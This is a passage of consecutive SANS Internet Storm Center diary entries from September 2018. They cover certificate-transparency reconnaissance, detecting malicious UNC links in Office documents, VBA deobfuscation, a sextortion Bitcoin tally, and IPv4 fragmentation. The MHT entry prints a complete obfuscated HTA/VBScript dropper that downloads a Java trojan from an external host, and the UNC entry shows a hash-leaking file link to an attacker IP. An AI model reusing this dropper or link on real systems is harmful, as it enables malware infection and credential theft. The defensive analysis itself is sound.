What do do next?  Look at the "not after" list for expired certificates.  Why those you ask?  Well, if you have an expired certificate for a host, and a valid cert isn't in the list, I'll always start with these.  If the host still exists, this is a great indication that it's not well maintained - maybe it's a forgotten lab or dev machine for instance, or part of a marketing program that has run its course.  In either case, it's likely not well patched and is often easy pickings for the penetration tester.  Look for any outliers - if all certts were issued by one CA, look for any certs that were issued by a different CA for instance.  That's another indicator of "credit card IT" practices (often by non-IT or non-infosec folks).

So we have a host list, and a list of hosts that are either no longer active or are perhaps easily exploitable.  Are we done yet?  Nope, let's pivot through this information to get MOAR information - look a the "O" (Organization) field.  This should be the same for all the certificates in the domain.  Query using the contents of that field, and you'll get all the **other** domains that the organization has certificates for.  Use the exact, full contents of the field, then repeat by removing any  trailing periods, then try removing any "Corp" or "Inc" words.  Now repeat the entire process for any new domains that you've found, you'll now have anywhere from 1-4-5-or more domains worth of hosts and possible easy target hosts.  If you're lucky, some of these will have been stood up by interns, coop students or other "good with computers" folks who didn't neccessarily follow IT's procedures in building or maintaining hosts.

Where else can you find a decent interface to a certificate transparency feed?  So far, I've been using:
https://sslmate.com/certspotter/howitworks
Nice API, with lots of examples
https://crt.sh
This one is very complete.  I can't seem to find "O" records, but that's easily obtainable from any of the certificates once you have some hostnames.
https://www.entrust.com/ct-search/
This gives you pretty much everything, including the ability to download the certificates themselves, export to excel or csv.
https://transparencyreport.google.com/https/certificates
Of course there's a Google interface to search certificates.  And of course it's extremely complete - if there's info to find, it'll be easy to find in this one!
https://developers.facebook.com/tools/ct/search/
Yup, there's a Facebook iterface too!  Authentication is required so I don't use it so much.  It does allow you to pull the PEM for each certificate if you want to do some offline information mining (using OpenSSL or CertUtil or even PowerShell for instance).

Every CA has their own interface.  It's all the same data (or it's supposed to be anyway), so poke around and see which one suits your style of searching best.

With all of these tools at your disposal and some good red-team approaches, what about the blue team?  the SSLmate interface allows you to monitor for new certificates being issued to your domains - - perhaps certificates requested by folks in your organization that you don't want purchasing certificates.  Or perhaps attackers that have social engineered their way into purchasing a certificate.

With some creative coding, you can also use certificate transparency to monitor for typosquatting or punycode attacks against your domains - track for "0 for o", "1 for l", but then also add some of the other unicode "look-a-like" alternatives for o, a, i etc.  Also add a few "typo" alternatives - "gooogle" for "google", or try a version of your domain name that uses an adjacent key - "amazom" for "amazon" for instance.

The more I type, the more that this sounds like a project or two - Look for code in the next few weeks.  Or if you know of folks who have gone further down this path of coding to use Cert Transparency for either attack or defense, please share in our comment form!  Or if I've missed a really nice CA interface, API or an attack/defense method using this data, please also share!

===============
Rob VandenBrink
Compugen

2 Comments

Published: 2018-09-17

Dissecting Malicious MS Office Docs

Looking back at the story I posted 2 weeks back, on getting target users to leak credentials using malicious UNC links in office (or other) documents ( https://isc.sans.edu/forums/diary/24062/ ) - how would you actually identify a malicious document of this type?  After a bit of digging, it turns out that there are a few ways to do this.

It's pretty easy actually, office documents are essentially zipped-up xml files.  In native powershell you'd execute:

$targetfile = "C:\full\path\to\doc.docx"
$word = New-Object -ComObject Word.Application
$doc = $word.documents.open($targetfile)
$xmlout = New-Object System.XML.XMLDocument
$xmlout = [xml]$doc.WordOpenXML
$targetrel = $xmlout.package.part.xmlData.Relationships.Relationship
$targetrel | ft

L:\cust\sans\isc\honeydoc> $targetrel | fl | sls "\\"
Target     : file:///\\192.168.122.212\test\cmd.png

Note that the full path seems to be needed in $targetfile - ("./" doesn't cut it as a path.)

There's a pretty big problem with this approach though - using the com object word.application actually opens the file using the application, so this actually opens word and then triggers the attack, sending the password hash of the account in use, which is probably more privileged then the user that was originally targetted (oops).  So if you use this method, be VERY SURE that your script is running in a fully firewalled sandbox or a fully firewalled machine.  Also, since you are invoking the application each and every time, there's a pretty hefty delay in that process, this isn't a method that you coiuld effectively scale to handle large volumes of files.

A better approach might be to use DocumentFormat.OpenXML.  Before you go there, you'll need to install the OpenXML SDK first, find it at https://www.microsoft.com/en-us/download/details.aspx?id=30425

A script using this method might look like:

[System.Reflection.Assembly]::LoadFrom("C:\Program Files (x86)\Microsoft Office\Office15\DCF\DocumentFormat.OpenXml.dll")
$file="L:\cust\sans\isc\honeydoc\smb trap 4.docx"
$doc = [DocumentFormat.OpenXml.Packaging.WordprocessingDocument]::Open($file,$true)
$targets = $doc.MainDocumentPart.ExternalRelationships
$doc.Close()
$targets | fl | grep "file://"
Uri              : file://192.168.122.212/test/cmd.png

At this point you can dissect things even further:


PS L:\cust\sans\isc\honeydoc> $targets.Uri

AbsolutePath   : /test/cmd.png
AbsoluteUri    : file://192.168.122.212/test/cmd.png
LocalPath      : \\192.168.122.212\test\cmd.png
Authority      : 192.168.122.212
HostNameType   : IPv4
IsDefaultPort  : True
IsFile         : True
IsLoopback     : False
PathAndQuery   : /test/cmd.png
Segments       : {/, test/, cmd.png}
IsUnc          : True
Host           : 192.168.122.212
Port           : -1
Query          :
Fragment       :
Scheme         : file
OriginalString : file:///\\192.168.122.212\test\cmd.png
DnsSafeHost    : 192.168.122.212
IdnHost        : 192.168.122.212
IsAbsoluteUri  : True
UserEscaped    : False
UserInfo       :

In many (most? all?) cases what you really want in this list is the "Host" parameter - you might want to put that host into your firewall's block list, or maybe add it into your Threat Intel feed. 

Adding these 2 lines to the script fills the "just give me the malicious host" requirement:

foreach ($t in $targets) {
if ($t.uri.isunc) {echo $t.uri.Host}
}

192.168.122.212

If there are multiple hosts in one file you'll get them all this way

How long is such a thing of interest?  It really depends - for most "in the wild" samples, a few days is usually plenty, most attackers don't leave these hosts up for too long.  Or for the duration of your pentest if that's the situation you are in :-)

Using this DocumentFormat.OpenXML method does NOT follow the link, so it doesn't trigger the exploit.  It also doesn't fire up a winword.exe (or excel, or powerpoiunt, or whatever) process, so it executes ***w-a-a-a-y*** faster!  Using this approach means that if your mail filtering app allows external script execution against attachments, this is something you can work into your mail security toolkit.

... However, this only works if you can "catch" a file as it comes into the company.  It won't help for instance if I get this into your organization via a USB key drop - in that case, unless your endpoint security / EDR / AV solution catches and "disarms" embedded UNCs (hint - I haven't been caught yet by AV), capturing  user credentials that way still works great!

All that said, any defensive approach that works with potentially malicious files should be working in a sandbox, you don't want malware of other types triggering while you are scanning incoming files!

User our comment form - what malicious content have you found in Office docs using OpenXML?  Or other methods for that matter - if there's a better/faster way to do this, please share!!

 

===============
Rob VandenBrink
Compugen

0 Comments

Published: 2018-09-16

20/20 malware vision

In his diary entry "Malware Delivered Through MHT Files", Xavier show some malicious VBA code with obfuscated strings.

Often, in VBA code, when strings are obfuscated, each character to be obfuscated is replace with another character: a string of 7 characters remains a string of 7 characters when obfuscated.

This can be seen in Xavier's sample:

There this line:

Set F3e = CreateObject(A5i("X^cXW=9cXWS__["))

A call to CreateObject with an obfuscated string of 14 characters, in malicious VBA code? That's most likely string MSXML2.XMLHTTP that's obfuscated.

This line:

F3e.Open A5i("RP_"), N7a, False

A string of 3 characters as the first argument to the Open method? That's most likely string GET.

Another line:

Set N0x = CreateObject(A5i("LOZOM9^_]PLX"))

A call to CreateObject with an obfuscated string of 12 characters, in malicious VBA code? That's most likely string ADODB.STREAM that's obfuscated.

Indeed, method SaveToFile is invoked (a member of object ADODB.STREAM):

N0x.SaveToFile P2e, 2

P2e is the file name:

P2e = A5i("WQN9UL]")

OK, so here we are stuck. We can not make an educated guess for the filename, just by knowing the number of characters (7).

But maybe we can figure out the obfuscation algorithm, by looking at obfuscated strings for which we have guessed the cleartext string. Here I use Python's map function to calculate the difference between the numerical value of the cleartext string and the obfuscated string:

I can see the difference is always -11. So you just need to substract 11 from each character to get the deobfuscated string (using translate.py):

This shows us that the filename of the downloaded file is LFC.JAR.

 

Just by looking at the length of obfuscated strings passed to CreateObject and/or known methods, you can often guess what the cleartext string is.

And with this information, you can try to figure out the obfuscation algorithm and decode other strings like filenames and URLs.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2018-09-15

User Agent String "$ua.tools.random()" ? :-) !

For many years I've observed requests for page license.php on my webservers, from various IPs and with various User Agent Strings:

-
"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MRA 4.4 (build 01334))"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
"Mozilla/4.0 (compatible; Synapse)"
Mozilla/5.0
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.345.930 Safari/535.1
"Mozilla/5.0 (Windows NT 6.0; rv:16.0) Firefox/13.0"
"Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20130722 Firefox/16.0"
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
"Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
"Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0"
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.35 Safari/537.36"
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36."
Opera/9.15

 

A couple of days ago (September 12th), I got 3 requests with User Agent String "$ua.tools.random()" (IP 178.137.93.108).

This must be a configuration error: it looks like an expression to select a random User Agent String.

Please post a comment is you recognize this type of expression ($ua.tools.random()), and know which tool or programming language this is.

 

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

3 Comments

Published: 2018-09-14

Sextortion - Follow the Money Update

This diary is an update to  Sextortion - Follow the Money which tracks some of the BTC addresses related the Sextortion campaign still in the wild, but seemingly tailing off at this time.

First a little history.  Within a couple of days of the beginning of the campaign (July 10th), we were able to cobble together 20 BTC addresses to monitor to see if we could characterize this campaign. We were happy with that. Once some of the ISC contacts heard of what we were doing the number being tracked snowballed to 334 BTC Addresses by July 28th. The momentum continued, to today, where thanks to the generosity of ISC readers we are now  tracking 426 BTC addresses we believe to be associated with this campaign.

To get this over with right away, this is over $200,000 in payments on 56 BTC addresses and the bad guys still have not started moving this money out.  You will find that the value of the payments has actually dropped since the first update.  This is because the value of Bitcoins has dropped substantially since the initial update.  This might also be a contributing factor to why the money has not moved out yet.

What sort of things has the monitoring revealed?

~13% - percentage of the BTC addresses with payments. (56 out of 426)

132 – number of payments received on the 56 BTC addresses with payments.

~$207,000 USD - Total value of all the payments stored in the 56 BTC Addresses. The 426 addresses we are tracking are thought to be an insignificant subset of those involved in the campaign, so the overall value of this campaign will be many times higher.

9 – Most number of payments on one BTC address. While most BTC addresses have zero or one payment, there is some small amount of BTC address reuse in the campaign.

Campaign emails, and payments appear to have slowed to a trickle over the last month, and I have not seen a payment on any monitored address in just over a month. So this campaign seems to have largely run its course.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

0 Comments

Published: 2018-09-13

Malware Delivered Through MHT Files

What are MHT files? Microsoft is a wonderful source of multiple file formats. MHT files are web page archives. Usually, a web page is based on a piece of HTML code with links to external resources, images and other media. MHT files contain all the data related to a web page in a single place and are therefore very useful to archive them. Also called MHTML[1] (MIME Encapsulation of Aggregate HTML Documents), there are encoded like email messages using MIME parts.

To save a web page in MHT format, in Internet Explorer, just press CTRL-S, select the “MHT” file format and save:

Note that MHT files have their own icon (that does not look suspicious at all):

Let's check what's inside an MHT file. They look like plain text files or EML files:

$ file isc-archive.mht
isc-archive.mht: news or mail text, ASCII text, with CRLF line terminators
$ head -15 isc-archive.mht
From: "Saved by Internet Explorer 11"
Subject: Internet Storm Center - SANS Internet Storm Center
Date: Wed, 12 Sep 2018 15:31:26 +0200
MIME-Version: 1.0
Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="----=_NextPart_000_0000_01D44AAD.AB116AB0"
X-MimeOLE: Produced By Microsoft MimeOLE

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D44AAD.AB116AB0
Content-Type: application/octet-stream
Content-Transfer-Encoding: quoted-printable
Content-Location: https://patchtuesdaydashboard.com/

This looks like a nice way to trick the user to open such kind of files! And malicious content can be delivered encoded in Base64. So nice!

While hunting, I found a very simple  MHT file attached to a phishing email (SHA256:fe2edf097ad9e50169b1f33dc4c32371134ba0e8e2893aa8899ae003712d1f5a)

$ cat Invoice.mht.vir
-
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="windows-1256"

<META http-equiv=3Drefresh content=3D1;url=3Dhxxp://www.thaipak[.]com/zy.php>

This file has a score of 1/59 on VT[2]!

When the victim opens this file, he/she's redirected to another URL: hxxp://meta-mim[.]in/zwry/Invoice.hta. Funny, while I was investigating this sample, the first time I got this content returned by the server:

$ cat Invoice.hta.vir
<br />
<b>Notice</b>:  Undefined index: usname in <b>/home/thaipakc/public_html/zy.php</b> on line <b>6</b><br />
<br />
<b>Notice</b>:  Undefined index: upassword in <b>/home/thaipakc/public_html/zy.php</b> on line <b>7</b><br />

Probably they were still debugging some code? 

Interesting, I was able to grab the file by passing dummy values to the expected variables. And I got the HTA file content:

$ curl "hxxp://www[.]thaipak[.]com/zy.php?usname=foo&upassword=bar"

This URL drops an Invoice.hta file. Here is the content:

$ cat -n Invoice.hta.vir
     1    <html>
     2    <head>
     3    <SCRIPT Language="VBScript">
     4    Set  QIAOQO = CreateObject(Chr(115)&Chr(104)&Chr(101)&Chr(108)&Chr(108)&Chr(46)&Chr(97)&Chr(112)&Chr(112)&Chr(108)&Chr(105)&Chr(99)&Chr(97)&Chr(116)&Chr(105)&Chr(111)&Chr(110))
     5
     6    QIAOQO.ShellExecute Chr(66+1) & Chr(76+1) & Chr(99+1), chr(32)&chr(47)&chr(99)&chr(32)&chr(99)&chr(100)&chr(32)&chr(37)&chr(116)&chr(101)&chr(109)&chr(112)&chr(37) & " &   @Echo N7a = ""http://www.meta-mim.in/zwry/sb.jar"">>P8s.vbs &@echo P2e = A5i(""WQN9UL]"")>>P8s.vbs &@echo Set F3e = CreateObject(A5i(""X^cXW=9cXWS__[""))>>P8s.vbs &@echo F3e.Open A5i(""RP_""), N7a, False>>P8s.vbs &@echo F3e.send ("""")>>P8s.vbs &@echo Set N0x = CreateObject(A5i(""LOZOM9^_]PLX""))>>P8s.vbs &@echo N0x.Open>>P8s.vbs &@echo N0x.Type = 1 >>P8s.vbs &@echo N0x.Write F3e.ResponseBody>>P8s.vbs & @echo N0x.Position = 0 >>P8s.vbs &@echo N0x.SaveToFile P2e, 2 >>P8s.vbs &@echo N0x.Close>>P8s.vbs  &@echo function A5i(G1g) >> P8s.vbs &@echo For D7v = 1 To Len(G1g) >>P8s.vbs &@echo Y9l = Mid(G1g, D7v, 1) >>P8s.vbs &@echo Y9l = Chr(Asc(Y9l)- 11) >>P8s.vbs &@echo W3o = W3o + Y9l >> P8s.vbs &@echo Next >>P8s.vbs &@echo A5i = W3o >>P8s.vbs &@echo End Function >>P8s.vbs& P8s.vbs &dEl P8s.vbs & timeout 13 & LFC.JAR", "","",0
     7
     8    self.close
     9    </SCRIPT>
    10    </body>
    11    </html>

It's a very easy one, it creates a VBS script (line 6) on disk and executes it. Here is the beautified version of the script:

$ cat -n P8s.vbs.virN
     1 7a = "http://www.meta-mim.in/zwry/sb.jar"
     2 P2e = A5i("WQN9UL]")
     3 Set F3e = CreateObject(A5i(X^cXW=9cXWS__["))
     4 F3e.Open A5i(""RP_""), N7a, False
     5 F3e.send ("")
     6 Set N0x = CreateObject(A5i("LOZOM9^_]PLX))
     7 N0x.Open
     8 N0x.Type = 1
     9 N0x.Write F3e.ResponseBody
    10 N0x.Position = 0
    11 N0x.SaveToFile P2e, 2
    12 N0x.Close
    13 
    14 Function A5i(G1g)
    15   For D7v = 1 To Len(G1g)
    16     Y9l = Mid(G1g, D7v, 1)
    17     Y9l = Chr(Asc(Y9l)- 11)
    18     W3o = W3o + Y9l
    19   Next
    20   A5i = W3o
    21 End Function 

The function A5i() is used to obfuscate strings. Example, in line 2,  A5i("WQN9UL]") returns the name of the created file ("LFC.JAR").

What about the dropped malware? It's a classic Adwind trojan (SHA256:9e39d03539318048909b4b290b8b1e6d91685b6f358ede3afa9f8e0ef6a8c411) but will a low VT score: 3/58[3]. The C2 is iheuche009.hopto.org. 

[1] https://en.wikipedia.org/wiki/MHTML
[2] https://www.virustotal.com/#/file/fe2edf097ad9e50169b1f33dc4c32371134ba0e8e2893aa8899ae003712d1f5a/detection
[3] https://www.virustotal.com/#/file/9e39d03539318048909b4b290b8b1e6d91685b6f358ede3afa9f8e0ef6a8c411/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 Comments

Published: 2018-09-12

So What is Going on With IPv4 Fragments these Days?

)[Disclaimer: This article deals with legacy IPv4 networks. IPV6 has cleaned up some of the fragmentation issues, and it looks like IPv4 is backporting some of these changes]

IP fragmentation has always been a tricky issue. Many operating systems had issues implementing it and RFCs have often been ignored (for more or less good reasons). Over the last years, techniques like "Path MTU Discovery" have become popular to mostly eliminate the need for fragmentation, in particular with IPv6 making it mandatory.

So first a quick primer on the how and why of fragmentation in IPv4.

We need fragmentation mostly because not all networks use the same MTU. IPv4 requires that hosts are able to process at least 68 bytes, which is just enough for the maximum IP header size and a couple bytes of protocol header [RFC 791]. Ethernet typically uses an MTU of 1500 bytes but can go all the way up to 9198 bytes. So in short, MTUs are "all over" and there is no guarantee as to what MTU you will find on networks forwarding your packet.

Path MTU Discovery solved this problem. TCP packets are now sent with the "Do Not Fragment" flag set, and routers will report back if the packet is too large (I hope you are allowing ICMP errors back in your network to support this).

Problems with fragments:

  • They may arrive out of order. So recipients need to buffer them (for how long? The IPv4 RFC doesn't say..)
  • They could overlap (the RFC suggests that hosts take the first arriving copy in this case, but not all operating systems have done this in the past)
  • buffering fragments requires resources

One issue that highlighted these problems recently was labeled "Fragmentsmack". Reassembling lots of fragments arriving in various orders can overwhelm some of the reassembly algorithms, and as a result, cause a DoS condition. This issue appears to have affected Linux and Windows. Linux advised using a smaller memory buffer for fragments to fix this issue. Microsoft yesterday' suggested in its patch Tuesday note to drop all out of order fragments via a registry fix.

For Linux, a patch was submitted in response that would drop all overlapping fragments.

So this got me to think about how much fragments there are in modern networks. I hadn't checked in a while, but my overall guess was "not much", and that has been shown true so far. I collected all fragments for a day from a couple of networks, and also checked with others who looked into this issue.

The number one source of fragments appears to be DNS. In particular, if you are using DNSSEC, your DNS server will support a feature called "EDNS0" (Extended DNS Option 0, RFC 2671). Historically, DNS limited UDP responses to 512 bytes (RFC 1035). DNSSEC often requires larger responses for keys and such, so EDNS0 allows a client to signal to a server that it is willing to receive larger replies. This is more efficient than using truncated UDP replies and than following up with a TCP request. RFC 2671 suggests 1280 bytes as "reasonable" for an ethernet connected client, but doesn't mandate a particular size. I often see 4096 bytes used. These larger responses lead to fragmentation.

I have also heard of issues with SIP and fragmentation, but haven't been able to observe this first hand.

So what does this all mean for your networks? I wrote a quick scapy script to see how different current (fully patched) operating systems dealt with fragments. I looked at three cases:

  1. normal fragments (in order and no overlap)
  2. out of order fragments (I sent the first fragment last)
  3. overlapping fragments (just two fragments)

You can find the script here: https://github.com/jullrich/ipv6/blob/master/scapy/fragtest.py

I ran it against PFSense (FreeBSD 11.1-RELEASE-p10), Linux 3.10 (CentOS 7), Linux 4.15 (Ubuntu 18.04), OS X 10.11.6 and MacOS 10.13.6 and all of them responded to all three cases.

Window 10 is so far the only operating system that did not respond to overlapping fragments at all. There is always a chance that I got the script wrong. But I even tried it with an identical payload. The overlapping payload in the script was selected so it would generate identical checksums, no matter if the first or second copy is selected. 

If you have any insight or are able to run the script against other systems, please let me know what you find. In all cases, I disabled the host-based firewall.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2018-09-11

Microsoft September Patch Tuesday Summary

Microsoft released patches for 61 vulnerabilities. In addition, we got two advisories. One for the usual update for Flash, and one for a Windows DoS vulnerability.

The DoS advisory covers "FragmentSmack", an issue first released mid-August. For Unix systems, the recommendation was to reduce the buffer space used for fragments. Microsoft is going a step further: It suggests to drop all out of order fragements. This step appears to be a bit "drastic" in that it can lead to valid data being dropped and something to consider if you tune your IDS accordingly.

This update also patches the "ALPC" privilege escalation flaw, which has already been exploited by malware. 

3 additional already disclosed vulnerabilities are patched (see table below for details)

See the Patch Tuesday Dashboard for more details.

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework Remote Code Execution Vulnerability
%%cve:2018-8421%% No No Less Likely Less Likely Critical    
Azure IoT SDK Spoofing Vulnerability
%%cve:2018-8479%% No No - - Important    
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8367%% No No - - Critical 4.2 3.8
%%cve:2018-8465%% No No - - Critical 4.2 3.8
%%cve:2018-8466%% No No - - Critical 4.2 3.8
%%cve:2018-8467%% No No - - Critical 4.2 3.8
Device Guard Security Feature Bypass Vulnerability
%%cve:2018-8449%% No No More Likely More Likely Important 5.3 4.8
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2018-8462%% No No More Likely More Likely Important 7.0 6.3
Internet Explorer Memory Corruption Vulnerability
%%cve:2018-8461%% No No More Likely More Likely Critical 7.5 6.7
%%cve:2018-8447%% No No More Likely More Likely Critical 6.4 5.8
Internet Explorer Security Feature Bypass Vulnerability
%%cve:2018-8470%% No No - - Important 2.4 2.2
Lync for Mac 2011 Security Feature Bypass Vulnerability
%%cve:2018-8474%% No No - - Moderate    
MS XML Remote Code Execution Vulnerability
%%cve:2018-8420%% No No More Likely More Likely Critical 6.4 5.8
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2018-8463%% No No - - Important 4.3 3.9
%%cve:2018-8469%% No No - - Important 4.3 3.9
Microsoft Edge Information Disclosure Vulnerability
%%cve:2018-8366%% No No - - Important 4.3 3.9
Microsoft Edge PDF Remote Code Execution Vulnerability
%%cve:2018-8464%% No No - - Critical 4.2 3.8
Microsoft Edge Spoofing Vulnerability
%%cve:2018-8425%% No No - - Important 5.3 5.3
Microsoft Excel Information Disclosure Vulnerability
%%cve:2018-8429%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2018-8331%% No No - - Important    
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2018-8433%% No No Less Likely Less Likely Important 4.7 4.2
Microsoft JET Database Engine Remote Code Execution Vulnerability
%%cve:2018-8392%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2018-8393%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office SharePoint XSS Vulnerability
%%cve:2018-8426%% No No Less Likely Less Likely Important    
Microsoft Scripting Engine Information Disclosure Vulnerability
%%cve:2018-8315%% No No - - Important 4.2 3.8
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2018-8428%% No No Less Likely Less Likely Important    
%%cve:2018-8431%% No No Less Likely Less Likely Important    
OData Denial of Service Vulnerability
%%cve:2018-8269%% No No Less Likely Less Likely Important    
Scripting Engine Information Disclosure Vulnerability
%%cve:2018-8452%% No No - - Important 4.3 3.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8354%% No No - - Important 4.2 3.8
%%cve:2018-8391%% No No - - Critical 4.2 3.8
%%cve:2018-8456%% No No - - Critical 4.2 3.8
%%cve:2018-8457%% Yes No More Likely More Likely Critical 6.4 5.8
%%cve:2018-8459%% No No - - Critical 4.2 3.8
September 2018 Adobe Flash Security Update
ADV180023 No No - - Critical    
System.IO.Pipelines Denial of Service
%%cve:2018-8409%% Yes No Less Likely Less Likely Important    
Win32k Graphics Remote Code Execution Vulnerability
%%cve:2018-8332%% No No Less Likely Less Likely Critical 8.8 8.8
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2018-8440%% Yes Yes More Likely More Likely Important 7.0 6.3
Windows Denial of Service Vulnerability
ADV180022 No No Less Likely Less Likely Important    
Windows Elevation of Privilege Vulnerability
%%cve:2018-8468%% No No More Likely More Likely Important 4.3 3.9
Windows GDI Information Disclosure Vulnerability
%%cve:2018-8424%% No No Less Likely Less Likely Important 4.7 4.2
Windows Hyper-V Denial of Service Vulnerability
%%cve:2018-8436%% No No - - Important 5.4 4.9
%%cve:2018-8437%% No No - - Important 5.4 4.9
%%cve:2018-8438%% No No Less Likely Less Likely Important 5.8 5.2
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2018-8434%% No No Less Likely Less Likely Important 5.4 4.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2018-0965%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2018-8439%% No No Less Likely Less Likely Critical 7.6 6.8
Windows Hyper-V Security Feature Bypass Vulnerability
%%cve:2018-8435%% No No Less Likely Less Likely Important 4.2 3.8
Windows Information Disclosure Vulnerability
%%cve:2018-8271%% No No Less Likely Less Likely Important 2.5 2.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2018-8455%% No No Less Likely Less Likely Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2018-8336%% No No - - Important 2.5 2.5
%%cve:2018-8419%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2018-8442%% No No More Likely More Likely Important 4.7 4.2
%%cve:2018-8443%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2018-8445%% No No - - Important 4.7 4.2
%%cve:2018-8446%% No No Less Likely Less Likely Important 4.7 4.2
Windows Registry Elevation of Privilege Vulnerability
%%cve:2018-8410%% No No More Likely More Likely Important 7.0 6.3
Windows Remote Code Execution Vulnerability
%%cve:2018-8475%% Yes No More Likely More Likely Critical 8.8 7.9
Windows SMB Denial of Service Vulnerability
%%cve:2018-8335%% No No Less Likely Less Likely Important 4.8 4.8
Windows SMB Information Disclosure Vulnerability
%%cve:2018-8444%% No No - - Important 7.0 6.3
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2018-8441%% No No - - Important 7.0 6.3
Windows Subsystem for Linux Security Feature Bypass Vulnerability
%%cve:2018-8337%% No No - - Important 5.3 4.8
Word PDF Remote Code Execution Vulnerability
%%cve:2018-8430%% No No More Likely More Likely Important    

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

2 Comments

Published: 2018-09-10

"What is dikona or glirote3?"

Reader Matt was targeted with malware via email, and managed to start to analyze the content of the ZIP file served by the compromised server. It contains a .lnk file. Matt figured out that it launches the following PowerShell command:

But what is dikona?

Command findstr is Windows' grep command. Option /s directs findstr to search in all subdirectories. dikona is the string to search for. And $env:userprofile\*.lnk directs findstr to grep through all .lnk files in the users' profile.

Let's try this findstr command on the malicious .lnk file:

This is another PowerShell script (a downloader). Notice that all lines in this script contain the string dikona.

Where is this script stored? Not inside a valid field inside the .lnk file, the analysis report of lnkanalyser does not reveal this script:

It's because the PowerShells script is just appended to the end of the .lnk file:

This script, extracted via findstr, is stored into variable $g, and then executed.

Conclusion: this is a trick to evade AV detection. The malicious PowerShell script is appended to the .lnk file, and will not be found by just analyzing the content of the .lnk file according to the format specification for .lnk files. The PowerShell command (with findstr dikona) that is executed by the .lnk file, is very short and looks benign: it will not trigger many AV programs.

The .lnk file itself has a detection rate of 2/59 on VirusTotal (time of writing).

To easily extract the script from the (binary) .lnk file, findstr (grep) is used to select all lines with string dikona. And since the name of the .lnk file is not know by the initial PowerShell script, all .lnk files (*.lnk) are searched through.

Why does findstr not extract the PowerShell command with "findstr dikona" from the .lnk file? Because that command is stored as a UNICODE string, and the appended PowerShell script is ASCII.

 

Another sample found by Matt uses glirote3 as selector string.

A bening JPEG image was also present in the ZIP file:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

2 Comments

Published: 2018-09-08

Video: Using scdbg to analyze shellcode

I created a video for my diary entry "Using scdbg to analyze shellcode". In this video, I also show how to analyze shellcode with a reverse tcp shell, by setting up a server listening on the appropriate TCP port.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2018-09-07

Crypto Mining in a Windows Headless Browser

Crypto miners in the browser are not new. Delivery through malicious or compromised piece of javascript code is common these days (see my previous diary about this topic[1]). This time, it’s another way to deliver the crypto miner that we found in a sample reported by one of our readers.

